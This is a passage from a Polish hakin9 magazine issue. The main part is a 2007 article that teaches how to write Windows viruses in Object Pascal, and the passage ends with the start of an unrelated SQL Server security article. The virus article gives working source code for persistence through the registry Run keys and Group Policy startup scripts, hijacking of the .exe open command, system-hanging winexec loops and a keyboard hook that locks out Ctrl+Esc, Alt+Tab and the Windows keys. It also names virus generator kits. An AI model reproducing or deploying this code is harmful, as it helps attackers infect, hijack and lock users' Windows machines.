niały się wówczas bardzo wolno, a okres, w ja-
kim  zarażały  się  kolejne  komputery  trwał  dni, 
miesiące.  Mogło  nawet  dojść  do  sytuacji,  że 
producenci  oprogramowania  antywirusowego 
nie  wiedzieli  o  istnieniu  danego  robaka.  Świat 
się zmieniał, globalną wioskę otoczyły kable, łą-
czące ze sobą mniejsze Sieci w większe, zwa-
ne MAN, a w efekcie tego powstało to, co dziś 
nazywamy Internetem. Wirusy jednak przez ten 
czas także ewoluowały. Pierwsze wirusy działa-
ły w systemie DOS, oparte były o infekcje na pli-
kach bat, com, exe, próbowały zmienić DOS w 
środowisko wielozadaniowe. Każda uruchamia-
na aplikacja była kontrolowana przez szkodliwe 
oprogramowanie, do tego celu wykorzystywano 
odpowiednio spreparowane pliki bat. Kolejnym 
typem wirusów były narzędzia atakujące dysk 
twardy, czasem ich zadaniem było tylko usuwa-
nie plików, niektóre wirusy  (takie jak czarnobyl 
w rocznicę awarii elektrowni atomowej) czyściły 
512 początkowych bajtów dysku twardego (boot 

sektor). Były to wirusy dyskowe. Bardzo często 
pisane one były w Asemblerze.

Nawet teraz można spotkać generatory wi-

rusów tego typu, wystarczy, że wybierzemy z 
dostępnego  menu  działanie,  jakie  taki  wirus 
ma wykonać, a generator stworzy nam złośli-
wy kod. Plusem tego rozwiązania jest utworze-
nie kodu źródłowego, co pozwala na dogłębną 
analizę i w efekcie  zrozumienie sposobu dzia-
łania danego wirusa. W chwili, gdy sieć Internet 
zaczęła się rozwijać, powstały konie trojańskie 
umożliwiające zdalną kontrolę komputerów po-
tencjalnych ofiar. Zaczęto wykorzystywać błę-
dy  w  aplikacjach,  tak  aby  wejść  do  systemu. 
Znany wirus saser wykorzystywał lukę w sys-
temie LSASS, doprowadzając do wyświetlenia 

Hakowanie rejestru

Rafał Podsiadły

stopień trudności

Wirus to słowo siejące postrach wśród zwykłych użytkowników 

komputerów. Jest to bowiem program, którego zachowanie jest 

odrobinę inne niż w przypadku programów użytkowych.

Z artykułu dowiesz się

•  jak funkcjonują wirusy,
•  jak można napisać wirusa, 
•  na co zwrócić uwagę, programując szkodliwy 

kod.

Co powinieneś wiedzieć

•  znać  podstawy  Object  Pascala. Artykuł  oparty 

jest o kod napisany w tym języku.

background image

Hakowanie rejestru

hakin9 Nr 8/2007

www.hakin9.org

39

okna  resetującego  komputer  po  60 
sekundach. 

Surfując  po  WWW,  jesteśmy 

bombardowani  linkami  do  różnych 
plików  czy  zapytaniami  java  script
które  mogą  wywołać  na  naszym 
komputerze  instalację  złośliwego 
softu.  Szczególnie  dotkliwie  odczu-
wają  to  na  swej  skórze  posiadacze 
modemów,  gdy  rachunki  za  telefon 
przekraczają parę tysięcy złotych. W 
związku z rozwojem globalnej sieci, 
infekowanie wirusami stało się o wie-
le szybsze. Od pojawienia się zagro-
żenia mijają sekundy, a tysiące kom-
puterów stają się przez ten czas ofia-
rami; szczepionka pojawia się nato-
miast zwykle najwcześniej około go-
dzinę  później.  Pierwsze  wirusy  były 
pisane przez pojedyncze osoby - te-
raz  najbardziej  wyrafinowane  wiru-
sy  tworzone  są  przez  zespoły  pro-
gramistów. 

Zmienił się też cel takiego działa-

nia. Jeszcze nie tak dawno podsta-
wową  kwestią  było  zarażenie  kom-
putera,  zniszczenie  danych,  uszko-
dzenie biosu czy dysku twardego, te-
raz  weszliśmy w epokę wirusów ko-
mercyjnych,  które  są  pisane  w  jed-
nym celu - aby zarobić. Znane są sie-
ci zombi które, atakują serwery firm, 
aby później poinformować o zapłacie 
za ochronę przed takim procederem. 
Nawet  te  Sieci  toczą  ze  sobą  woj-
ny o to, która z nich zdobędzie wię-
cej komputerów lub jedne sieci przej-
mują  inne.  Ostatnio  popularne  sta-
ją się też ataki na banki, mające na 
celu zdobycie danych klienta, nume-
rów  pin,  haseł  bezpieczeństwa.  Te-
matem tej pracy nie jest opisanie za-
grożenia, tylko przedstawienie infor-
macji na temat sposobów tworzenia 
wirusów.

Infekcja

Część  infekująca  to  najważniejszy 
element wirusa. Najpierw wyszukuje 
ona odpowiedni program, a następ-
nie  go  zaraża.  Niektóre    wirusy  za-
wierają  warunek  aktywacji  (trigger), 
a także procedurę odpowiadającą za 
zniszczenia  (payload).  Maskowanie, 
a więc ukrywanie wirusa w systemie 
może  prowadzić  do  wyłączenia  an-
tywirusa,  aby  ten  nie  wykrył  go  za-

Listing 1. 

rejestr – autostart

Katalogi Użytkownika
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunOnceEX
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_CURRENT_USER\software\Microsoft\Windows\CurrentVersion\RunServicesOnce
Wirus wykorzystujący pen drive ładuje się do tego wpisu 
HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows§
       wartość run

Katalogi systemowe
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunOnceEx
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunServices
HKEY_LOCAL_MACHINE\software\Microsoft\Windows\CurrentVersion\RunServicesOnce

Listing 2. 

svchosts.pas

Program

 

svchosts

;

uses

  

Windows

,

SysUtils

,

  

Registry

;

Begin

  //

parametr

;

  //

shell

;

  //

DodajSkrypt

;

  //

hackJedenWpis

;

  //

sleep

(

20000

);

  //

hackJedenWpis

;

  //

sprzataj

end

.

Listing 3. 

Dodawanie do sekcji uruchom

Procedure

 

hackJedenWpis

;

var

  

Rejestr

 

:

 

Tregistry

;

   //

zmienna

 

odpowiedzialna

 

za

 

kontakt

 

z

 

rejestrem

begin

  

Rejestr

 

:=

 

Tregistry

.

Create

;

  

Rejestr

.

RootKey

 

:=

 

HKEY_LOCAL_MACHINE

;

   

  

Rejestr

.

OpenKey

(

'software\Microsoft\Windows\CurrentVersion\Run'

false

);

  

Rejestr

.

WriteString

(

'system'

'c:\svchosts.exe'

);

   

  // 

dodajemy

 

nowy

 

wpis

 

naszego

 

wirusa

  

rejestr

.

free

;

  

copyfile

(

'svchosts.exe'

,

'c:\svchosts.exe'

,

true

);

   //

kopiujemy

 

nasz

 

program

 

do

 

wskazanego

 

katalogu

 

zast

ę

puj

ą

c

 

poprzedni

ą 

§

      

wersje

end

;

Uwaga

Jeśli chcielibyśmy założyć blokadę na uruchamiane programy, należy pamiętać, ze filtr 
będzie działał tylko dla określonego typu plików, w odniesieniu do którego założymy 
ową blokadę. Jeśli zablokujemy pliki exe, to dokument Word z rozszerzeniem .doc bę-
dzie się uruchamiał, gdyż jest uruchamiany z poziomu rozszerzenia. Dlatego można 
założyć zabezpieczenie na rozszerzenia lub na pliki wykonywalne, zmuszając tym sa-
mym Windows do tego, by każdy uruchomiony plik przepuszczał przez nasz program, 
a w tym wypadku przefiltrował go tak, jak ma to miejsce w Listingu 6.

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

40

wczasu i aby ukryć wszystkie podej-
rzane  aspekty  swoich  działań.  Zo-
stała  nawet  wprowadzona  procedu-
ra  statusu,  aby  zapobiec  ponowne-
mu  zarażeniu.  Poprzez  dodanie  do 
gospodarza kilku bitów wirus spraw-
dza, czy plik jest zainfekowany. Kie-
dy  mamy  do  czynienia  z  makrowi-
rusem,  potrafi  on  zainfekować  pliki 
Word, Excel, a nawet Access. Wirus 
taki w najprostszych przypadkach ła-
duje  się  do  funkcji  AutoOpen  i  jest 
wykonywany podczas uruchamiania 
dokumentu.

Nie tylko dokumenty są narażone 

w  przypadku  wirusów  plików  -  czę-
sto otrzymujemy jakiś program i uru-
chamiamy go, nie zdając sobie spra-
wy z tego, że może on być zainfeko-
wany przez wirusa. W ten sposób wi-
rus się zagnieżdża i infekuje następ-
ne  pliki.  Na  końcu  wirus  uruchamia 
właściwy  program,  aby  ukryć  swo-
ją działalność. Wirus taki  przykleja 
się do kodu programu-gospodarza i 
umieszcza na jego początku rozkaz 
skoku do właściwego kodu, a na koń-
cu wraca do wykonywania naszego 
programu.  Wirusy  i  robaki  atakują 
system,  zmieniają  pliki  systemowe, 
wpisują  się  w  boot  sektor.  Razem 
z  tymi  procedurami  infekują  rejestr 
Windowsa, który odpowiedzialny jest 
między  innymi  za  prawidłowy  start 
komputera, uruchamianie usług, pro-
gramów,  powiązań  z  programami. 
Sam  rejestr  ma  strukturę  drzewia-
stą, jego gałęzie nazywamy klucza-
mi, a jego końce wartościami.  War-
tości owe mogą być typu liczbowego, 
znakowego,  binarnego.  Głównymi 
kluczami  rejestru  są  HKEY_CLAS-
SES_ROOT, 

HKEY_CURRENT_

USER,  HKEY_LOCAL_MACHINE, 

HKEY_USERS,  HKEY_CURRENT_ 
CONFIG i HKEY_DYN_DATA.

W  podkluczach  odpowiedzial-

nych za automatyczny start aplikacji 
podczas uruchamiania systemu Win-
dows umieszczane są odwołania do 
wirusów(rejestr – autostart). Niektó-
re programy umieszczają swoje od-
wołanie  w  polityce  bezpieczeństwa 
za  pomocą  skryptów  autostartu  lub 
wylogowywania  użytkownika.  Od-
powiednio spreparowany skrypt mo-
że  instalować  wirusa  przy  każdora-
zowym  zamknięciu  systemu.  Nawet 
wtedy,  gdy  użytkownik  usunie  wiru-
sa,  skrypt  automatycznej  instalacji 
rozpakuje go i zainstaluje.

Rejestr  jest  potężnym  narzę-

dziem,  dającym  możliwość  pełnej 
konfiguracji  systemu.  Teraz  już  pra-
wie  każdy  wirus  ma  zaimplemento-
wany  kod  podobny  do  tego,  jaki  wi-
dzimy na Listingu 2. W rejestrze moż-
na zmienić ustawienia wyglądu ikon, 
a także opcję włączenia lub wyłącze-
nia  ukrywania  znanych  rozszerzeń 
Wtedy  program  podający  się  np.  za 
dokument  Worda  może  zostać  uru-
chomiony  przez  użytkownika  i  tym 
samym  zainfekować  system.  Od-
powiada  za  to  klucz  HKEY_CLAS-
SES_ROOT, dzięki funkcji wpisu Ne-

verShowExt.

Złośliwe  oprogramowanie  wpi-

suje  się  do  zmiennej  exefile\shell 
w  rejestrze,  zmienna  ta  jest  wyko-
nywana  przy  uruchamianiu  progra-
mów, a odpowiednio zastąpiona do-
prowadza  do  sytuacji  uruchamiania 
złośliwego  oprogramowania  zanim 
jeszcze  cokolwiek  innego  świado-
mie uruchomimy. Mając to na uwa-
dze, programy antywirusowe spraw-
dzają tą wartość, jednak nie weryfi-

kują wszystkich elementów związa-
nych  z  startem,  a  co  za  tym  idzie, 
aplikacja  może  być  wywołana  pod-
czas  otwierania  dokumentu  Worda 
lub pliku mp3:

winexec(pchar(paramstr(1)),Sw_SHOW);

Umieszczając  powyższą  linię  lek-
ko zmodyfikowaną, bezpośrednio w 
programie kilkakrotnie, z tymi samy-
mi  wartościami  zapętlamy  program 
do  tego  stopnia,  że  system  się  za-
wiesza.  Specjalista  od  algorytmów 
powiedział by, rzędu n

3

.

winexec('svchosts.exe',Sw_SHOW);
winexec('svchosts.exe',Sw_SHOW);
winexec('svchosts.exe',Sw_SHOW);

Wartość  NoClose  we  wpisie 
HKEY_CURRENT_USER\Software\
Microsoft\Windows\CurrentVersion 
\Policies\Explorer  wyłącza  pole-
cenie  Zamknij  w  menu  start.  Pod-
czas  pisania  wirusów  można 
wykorzystać  także  wpis    w  HKEY_
LO C A L _ M AC H I N E \ S o f t w a r e \
Microsoft\Windows\CurrentVersion\
Explorer\Desktop\NameSpace 

nazwie 

{450D8FBA-AD25-11D0-

98A8-0800361B1103},  który  odpo-
wiada za ikonę Moje dokumenty na 
pulpicie.  Podszywając  się  pod  nią, 
wirus  może  swobodnie  hasać  po 
komputerze. 

Programy  szpiegujące  ukrywa-

ją  się  obok  tego  często  jako  usługi 
systemu  czy  nawet  jako  sterowniki 
urządzeń. 

Listingi przedstawione w artykule 

to kody źródłowe zagnieżdżania się 
w systemie wirusów.

Wirusy  zmieniają  swoje  nazwy, 

często  przypominają  w  efekcie  te-

Generatory wirusów

•  IVP – Instant Virus Production Kit,
•  VCL – Virus Construction Labora-

tory, 

•  PS-MPC  –  Phalcon-Skism  Mass 

Produced Code Generator,

•  G2 – G Squared,
•  NRLG – Nuke Randomic Life Ge-

nerator.

Rysunek 1. 

Rejestr Windows

background image

Hakowanie rejestru

hakin9 Nr 8/2007

www.hakin9.org

41

go wykonywalne pliki systemu. Mo-
gą także uruchamiać się na krótko, 
by  użytkownik  nawet  nie  zauważył 
kilkubajtowego  wzrostu  zużycia  pa-
mięci,  jako  sterownik  systemu  Win-
dows  lub  usługa,  której  pochodze-

nie  do  końca  jest  niewiadome.  Wi-
rus może pracować w systemie, nie-
kiedy przejmując nawet nazwę wła-
ściwego oprogramowania, ale znaj-
dując  się  w  innej  lokalizacji.  Nor-
malnie  wykorzystywany  jest  plik  c:

\windows\system32\svchost.exe
wystarczy  jednak  zmienić  ścieżkę 
programu  na  c:\windows\system\

svchost.exe,  a  użytkownik  straci 
orientację  w  uruchomionych  proce-
sach Windowsa. 

Listing 4. 

Polityka bezpieczeństwa

Procedure

 

DodajSkrypt

;

var

  

Rejestr

 

:

 

Tregistry

;

   

   

plik

:

textfile

;

            

   

atrybut

:

integer

;

      

begin

  

Rejestr

 

:=

 

Tregistry

.

Create

;

    

  

Rejestr

.

RootKey

 

:=

 

HKEY_LOCAL_MACHINE

;

   

  

Rejestr

.

OpenKey

(

'SOFTWARE\Microsoft\Windows\CurrentVersion\Group  Policy\State\Machine\Scripts\Startup\0\0'

,

true

);

 

  

Rejestr

.

WriteString

(

'Script'

'c:\svchosts.exe'

);

   // 

dodajemy

 

nowy

 

wpis

  

Rejestr

.

CloseKey

;

  

Rejestr

.

OpenKey

(

'SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Startup\0\0'

,

true

);

  

Rejestr

.

WriteString

(

'Script'

'c:\svchosts.exe'

);

   // 

dodajemy

 

nowy

 

wpis

  

rejestr

.

free

;

  

atrybut

:=

FileGetAttr

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

);

  

FileSetAttr

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

0

);

  

assignfile

(

plik

,

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

);

  

rewrite

(

plik

);

  

Writeln

(

plik

,

''

);

  

writeln

(

plik

,

'[Startup]'

);

  

writeln

(

plik

,

'0CmdLine=C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Startup\svchosts.exe'

);

  

writeln

(

plik

,

'0Parameters='

);

  

CloseFile

(

plik

);

  

copyfile

(

'svchosts.exe'

,

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Startup\svchosts.exe'

,

true

);

  

FileSetAttr

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

atrybut

);

end

;

Listing 5. 

Shell Windowsa

Procedure

 

shell

;

var

  

Rejestr

 

:

 

Tregistry

;

   //

zmienna

 

odpowiedzialna

 

za

 

kontakt

 

z

 

rejestrem

begin

   

rejestr

:=

tregistry

.

Create

;

   

rejestr

.

RootKey

:=

HKEY_CLASSES_ROOT

;

   //

jak

 

zwykle

 

zaczynamy

 

od

 

przypisania

 

wartosci

 

glownego

 

klucza

   

rejestr

.

OpenKey

(

'exefile\shell\open\command'

,

false

);

   //

otwierany

 

klucz

 

odpowiedzialny

 

za

 

uruchamianie

 

czegokolwiek

;

    

rejestr

.

WriteString

(

''

'c:\svchosts.exe "%1" %*'

);

   //

wpisujemy

 

do

 

rejestru

 

nasza

 

wartosc

 

czyli

 

uruchamianie

 

programu

 

§

      

wraz

 

z

 

rejestrem

   

rejestr

.

CloseKey

;

   

rejestr

.

OpenKey

(

'exefile\shell\runas\command'

,

false

);

   

rejestr

.

WriteString

(

''

'c:\svchosts.exe "%1" %*'

);

   

copyfile

(

'svhosts.exe'

,

'c:\svhosts.exe'

,

true

);

   

rejestr

.

Free

;

end

;

background image

hakin9 Nr 8/2007

www.hakin9.org

Atak

42

Hackowanie klawiatury 

Windows  odpowiada  za  przesyła-
nie  informacji  o  naciśniętych  klawi-
szach do aktywnego okna. Chociaż 
na ekranie może znajdować się kilka 
okien, tylko jedno z nich jest aktyw-
ne i tylko ono może otrzymywać in-

formację o naciśniętych klawiszach. 
Aktywne  okno  można  rozpoznać, 
patrząc na jego pasek tytułowy, któ-
ry jest podświetlony.

W  rzeczywistości  istnieją  dwa 

główne rodzaje wiadomości pocho-
dzących  od  klawiatury,  zależnie  od 

sposobu  jej  potraktowania.  Klawia-
turę  można  potraktować  mianowi-
cie jak zbiór klawiszy. W tym przy-
padku, jeśli zostanie naciśnięty kla-
wisz,  system  Windows  wysyła  wia-
domość  WM_KEYDOWN  do  ak-
tywnego  okna,  informując  je  o  tym 

Listing 6. 

Uruchom z parametrem

Procedure

 

parametr

;

var

 

b

:

boolean

;

 //

blokowanie

 

aplikacji

begin

  

b

:=

true

;

  

if

 

AnsiContainsText

(

paramstr

(

1

)

,

'winword.exe'

)

 

then

 

b

:=

false

;

  

if

 

AnsiContainsText

(

paramstr

(

1

)

,

'winamp.exe'

)

 

then

 

b

:=

false

;

  

if

 

b

 

then

     

winexec

(

pchar

(

paramstr

(

1

))

,

Sw_SHOW

);

  

messagebox

(

0

,

pchar

(

paramstr

(

1

))

,

'Start'

,

0

);

end

;

Listing 7. 

Sprzątanie w systemie

Procedure

 

sprzataj

;

var

  

Rejestr

 

:

 

Tregistry

;

  

plik

:

textfile

;

begin

  

Rejestr

 

:=

 

Tregistry

.

Create

;

   

  

Rejestr

.

RootKey

 

:=

 

HKEY_LOCAL_MACHINE

;

  

  

Rejestr

.

OpenKey

(

'software\Microsoft\Windows\CurrentVersion\Run'

false

);

  

Rejestr

.

DeleteKey

(

'system'

);

  

  

rejestr

.

CloseKey

;

  

if

 

fileexists

(

'c:\svchosts.exe'

)

 

then

     

DeleteFile

(

'c:\svchosts.exe'

);

 

Rejestr

.

RootKey

 

:=

 

HKEY_LOCAL_MACHINE

;

  

 

Rejestr

.

OpenKey

(

'SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\State\Machine\Scripts\Startup\0\0'

,

true

);

 

Rejestr

.

DeleteKey

(

'Script'

);

 // 

dodajemy

 

nowy

 

wpis

 

Rejestr

.

CloseKey

;

 

Rejestr

.

openkey

(

'SOFTWARE\Policies\Microsoft\Windows\System\Scripts\Startup\0\0'

,

true

);

 

Rejestr

.

deletekey

(

'Script'

);

   // 

dodajemy

 

nowy

 

wpis

 

rejestr

.

CloseKey

;

 

if

 

fileExists

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

)

 

then

    

begin

      

assignfile

(

plik

,

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\scripts.ini'

);

      

rewrite

(

plik

);

      

CloseFile

(

plik

);

      

DeleteFile

(

'C:\WINDOWS\System32\GroupPolicy\Machine\Scripts\Startup\svchosts.exe'

);

    

end

;

 

rejestr

.

RootKey

:=

HKEY_CLASSES_ROOT

;

 

rejestr

.

OpenKey

(

'exefile\shell\open\command'

,

false

);

 

rejestr

.

WriteString

(

''

'"%1" %*'

);

  //

przywracamy

 

prawid

ł

ow

ą 

warto

ść

 

rejestr

.

CloseKey

;

 

rejestr

.

free

;

 //

zwalniamy

 

zmienna

 

rejestru

;

end

;

background image

Hakowanie rejestru

hakin9 Nr 8/2007

www.hakin9.org

43

fakcie.  Gdy  klawisz  zostanie  zwol-
niony,  Windows  wysyła  wiadomość 
WM_KEYUP.  Klawisz  traktujemy 
jak  przycisk.  Innym  sposobem  po-
strzegania klawiatury jest przyjęcie, 
iż stanowi ona urządzenie do wpro-
wadzania  znaków.  Gdy  naciśniemy 
klawisz  A,  system  Windows  wysy-
ła  wiadomość  WM_CHAR  do  ak-
tywnego  okna  informując  je  o  tym, 
że  użytkownik  przesyła  do  nie-
go  znak  A.  W  rzeczywistości  Win-
dows  wysyła  do  okna  wiadomości 
WM_KEYDOWN  i  WM_KEYUP,  a 
wiadomości  te  zostają  przetłuma-
czone  na  wiadomości  WM_CHAR 
przez  wywołanie  funkcji  Translate-

Message

Procedura  danego  okna  mo-

że  zdecydować  się  przetwarzać 
wszystkie  trzy  wiadomości  klawia-
tury  lub  tylko  te,  którymi  jest  zain-
teresowana. W większości przypad-
ków można zignorować wiadomości 
WM_KEYDOWN  oraz  WM_KEY-
UP,  ponieważ  wywołanie  funkcji 

TranslateMessage w pętli wiadomo-
ści  przetłumaczy  je  na  wiadomości 
WM_CHAR. 

Podsumowanie 

Systemy komputerowe są ciągle ła-
tane, hakerzy znajdują dziury, crac-
kerzy  łamią  zabezpieczenia.  Do  te-
go  wyścigu  dołączyli  także  produ-
cenci  oprogramowania  antywiruso-
wego.  Ciągle  unowocześniana,  ak-
tualizowana  nawet  kilka  razy  dzien-
nie baza wirusów powoduje, że czu-
jemy się bezpiecznie. Ciągle słyszy 
się o atakach na serwery, przy czym 
najbardziej narażone na nie są zna-
ne instytucje.

Każdy z nas może jednak zostać 

zaatakowany  przez  wirusa,  robaka 
i tym podobne złośliwe oprogramo-
wanie, nie trzeba nawet wchodzić na 
strony  je  zawierające.  Do  poszuki-
wania  wirusa  w  systemie  wykorzy-
stywany  jest  program  antywiruso-

wy, służyć mogą do tego także róż-
nego  rodzaju  programy  antyspywa-
re. Jednak od czasu do czasu war-

to  zajrzeć  do  rejestru  czy  autostar-
tu, choćby po to, aby posprzątać tam 
śmieci. l

O autorze

Zainteresowania:  muzyka,  programo-
wanie object pascal, c++, bezpieczeń-
stwo informacji. 
Kontakt z autorem: rafalpa@interia.pl

Listing 8. 

Hack na klawiaturę

 

public

    

{ Public declarations }

    

procedure

 

BlockKlaw

;

 //

Blokujemy

 

klawiature

  

end

;

var

  

Hklaw

:

 

HHOOK

;

 //

ID

 

Hooka

type

  

PKbdDllHookStruct

 

=

 ^

TKbdDllHookStruct

;

  

TKbdDllHookStruct

 

=

 

record

    

vkCode

,

    

ScanCode

,

    

Flags

,

    

Time

,

    

dwExtraInfo

:

 

Integer

;

  

end

;

const

  

WH_KEYBOARD_LL

 

=

 

13

;

 //

nr

 

blokady

 

niskiego

 

poziomu

.

 
//

W

 

cze

ś

ci

 

implementation

 

zapisujemy

 

funkcje

function

 

LLKeyHookFunc

(

HookCode

:

 

Integer

;

 

KeyCode

:

 

wParam

;

 KstrokeInfo:§

       

lParam

):

 

LResult

;

 

stdcall

;

var

  

Struct

:

 

PKbdDllHookStruct

;

 //

Wska

ź

nik

 

do

 

struktury

begin

  

Struct

 

:=

 

Ptr

"

>

Ptr

(

KStrokeInfo

);

  

Result

 

:=

 

0

;

  

if

 

(

HookCode

 

>=

 

0

)

 

then

  

begin

    

{ Blokujemy kombinację Ctrl+Esc }

    

if

 

(

Struct

.

vkCode

 

=

 

VK_ESCAPE

)

 

and

 (GetAsyncKeyState§

      

(

VK_CONTROL

)<-

32766

)

 

then

      

Result

 

:=

 

1

;

    

{ Blokujemy Alt+Tab }

    

if

 

(

Struct

.

vkCode

 

=

 

VK_TAB

)

 

and

 

(

GetAsyncKeyState

(

VK_MENU

)<-

32766

)

 

then

      

Result

 

:=

 

1

;

    

{ Blokujemy prawy i lewy klawisz Windowsa }

    

if

 

(

Struct

.

vkCode

 

=

 

VK_LWIN

)

 

or

 

(

Struct

.

vkCode

 

=

 

VK_RWIN

)

 

then

      

Result

 

:=

 

1

;

  

end

;

//

przekazanie

 

informacji

 

do

 

innych

 

okien

  

if

 

(

Result

 

=

 

0

)

 

then

    

Result

 

:=

 

CallNextHookEx

(

Hklaw

HookCode

KeyCode

KStrokeInfo

);

end

;

{ Załóżmy Hook na system }

procedure

 

TForm1

.

LockSystem

;

begin

  

Hklaw

 

:=

 

SetWindowsHookEx

(

WH_KEYBOARD_LL

, @

LLKeyHookFunc

hInstance

0

);

end

;

procedure

 

TForm1

.

Button1Click

(

Sender

:

 

TObject

);

begin

  

LockSystem

;

end

;

background image

www.hakin9.org

hakin9 Nr 8/2007

44

Obrona

D

laczego  w  ogóle  powinniśmy  się  mar-
twić  o  bezpieczeństwo?  Między  innymi 
dlatego, że tworzonych jest coraz więcej 

systemów typu mission-critical, czyli takich, któ-
rych brak działania może spowodować przerwę 
w pracy przedsiębiorstwa, jakie je wykorzystuje, a 
to może pociągnąć za sobą ogromne straty. Do-
datkowym czynnikiem, na który musimy zwrócić 
uwagę, jest fakt, że coraz częściej nasze systemy 
działają w rozproszonym środowisku, a co za tym 
idzie, powstaje coraz więcej punktów, w których 
mogą zostać skradzione nasze dane lub możemy 
narazić na niebezpieczeństwo nasz system. Bio-
rąc pod uwagę jeszcze jeden element, a mianowi-
cie to, że nasze systemy stają się coraz bardziej 
rozbudowane i skomplikowane, musimy pamiętać 
o bezpieczeństwie. Trzeba  mieć zawsze na uwa-
dze to, że nasze oprogramowanie musi wspierać 
bezpieczeństwo. Nie możemy pozwolić sobie na 
sytuację, gdzie główną osobą odpowiedzialną za 
bezpieczeństwo jest administrator systemów – w 
dzisiejszych czasach administrator i programista 
muszą działać razem. Artykuł ma na celu przed-
stawienie  różnych  aspektów  bezpiecznego  two-
rzenia aplikacji w oparciu o SQL Server 2005. Za-
gadnienia tu podjęte, obejmują elementy dotyczą-
ce pisania kodu po stronie Visual Studio, elemen-

ty SQL Server oraz najlepsze praktyki propono-
wane  przez  Microsoft,  które  mogą  pomóc  przy 
tworzeniu bezpiecznych aplikacji i systemów. 

Łączymy się do bazy danych 

– Connection String

Głównym narzędziem do tworzenia aplikacji na 
platformie Microsoft jest Visual Studio. Pozwala 

Microsoft SQL Server 2005 

– bezpieczne aplikacje

Artur Żarski

stopień trudności

Bardzo często przed rozpoczęciem prac nad nowym systemem 

rozpatrujemy kwestie bezpieczeństwa, szczególnie w odniesieniu 

do aplikacji, które zawierają bardzo istotne dane dla naszego 

przedsiębiorstwa lub klienta.

Z artykułu dowiesz się

•   artykuł pokazuje różne aspekty tworzenia bez-

piecznych aplikacji w oparciu o serwer bazy da-
nych Microsoft SQL Server 2005,

•   jakie są najczęściej spotykane problemy oraz 

sposoby ich rozwiązania. W publikacji znajdu-
ją się wskazówki dla programistów oraz admi-
nistratorów baz danych.

Co powinieneś wiedzieć

•   podstawowe  terminy  związane  z  bezpieczeń-

stwem, np. autoryzacja, autentykacja, imperso-
nalizacja,

•   podstawy programowania oraz podstawy SQL 

Server 2005 i języka T-SQL.

background image

Microsoft SQL Server 2005 – bezpieczne aplikacje

hakin9 Nr 8/2007

www.hakin9.org

45

ono na tworzenie aplikacji dla syste-
mu Windows oraz aplikacji Web. We 
wszystkich aplikacjach, bez względu 
na  ich  rodzaj,  podstawowym  zagad-
nieniem jest dostęp do danych. W ce-
lu połączenia z bazą danych, używa-
my różnych sterowników dostępu do 
danych.  Bez  względu  na  rodzaj  ste-
rownika i rodzaj źródła danych, musi-
my stworzyć obiekt, który będzie re-
prezentował połączenie i który będzie 
zawierał  Connection  String  –  czy-
li  ciąg,  który  mówi  gdzie  i  jak  chce-
my się połączyć. Istnieje kilka sposo-
bów Connection String na połączenie 
z bazą danych. Podstawowym obiek-
tem  dla  platformy  .NET  do  połącze-
nia  do  SQL  Server  jest  obiekt  Sql-

Connection  (dostępny  w  przestrze-
ni  nazw  System.Data.SqlClient.  Mo-
że  on  przyjąć  następujące  wartości 

Connection String:

•   Data  Source=myServerAddres-

s;Initial  Catalog=myDataBase-

;User Id=myUsername;Passwor-

d=myPassword;

•   Server=myServerAddress;Data-

base=myDataBase;User  ID=my-

Username;Password=myPasswor-

d;Trusted_Connection=False;

•   Data  Source=myServerAddres-

s;Initial  Catalog=myDataBase-
;Integrated Security=SSPI;

•   Server=myServerAddress;Da-

tabase=myDataBase;Trusted_
Connection=True;

Pierwsze dwa wskazują bezpośred-
nio na nazwę serwera bazy danych, 
bazę  danych  oraz  jawnie  przyjmu-
je  nazwę  użytkownika  i  hasło.  Wy-
korzystywane  są  one  głównie  wte-
dy,  gdy  logujemy  się  przy  pomocy 
kont założonych po stronie SQL Se-
rver.  Trzeci  i  czwarty  nie  ma  para-
metrów  nazwa  użytkownika  i  hasło, 
a jego główne zastosowanie to apli-
kacje, w których użytkownicy autory-
zowani  są  przy  pomocy  kont  syste-
mu Windows lub kont domenowych. 
Dla systemów, które nie łączą się do 
SQL Server, a do innych baz danych, 
przewidziany jest sterownik OLE DB. 
Jest on bardzo podobny do poprzed-
nika,  ale  posiada  dwa  dodatkowe 
elementy.  Pierwszy,  mniej  istotny  z 
punktu  widzenia  bezpieczeństwa, 
jest element Provider, który mówi do 
jakiej bazy danych będziemy się łą-
czyć. Drugi to bardzo ważny element 

Encrypt,  który  może  wymusić  bez-
pieczne połączenie do bazy danych 
(o ile tego typu połączenia wspiera-
ne są przez bazę danych). Jego za-
pis przedstawia się na Listingu 9.

Dlaczego w ogóle wspomina się 

tu  o  Connection  String  i  jego  para-
metrach?  Podstawowy  powód  to 
sposób jego przechowywania w apli-
kacji i użycia. Mamy trzy możliwości 
przechowywania Connection String:

•   w kodzie aplikacji,
•   w pliku konfiguracyjnym aplikacji,
•   w  przypadku  IIS7  i  aplikacji 

ASP.NET  możemy  przechowy-
wać go po stronie serwera IIS7.

Każdy z tych sposobów ma swoje wa-
dy i zalety. Zastanawiając się nad wy-
borem odpowiedniego sposobu uży-
cia  Connection  String,  należy  wziąć 
pod uwagę, czy przekazujemy hasło 
i  nazwę  użytkownika  w  ramach  po-
łączenia, czy nasza aplikacja pracu-
je w Sieci rozproszonej, czy jest na-
rażona  na  możliwość  podsłuchiwa-
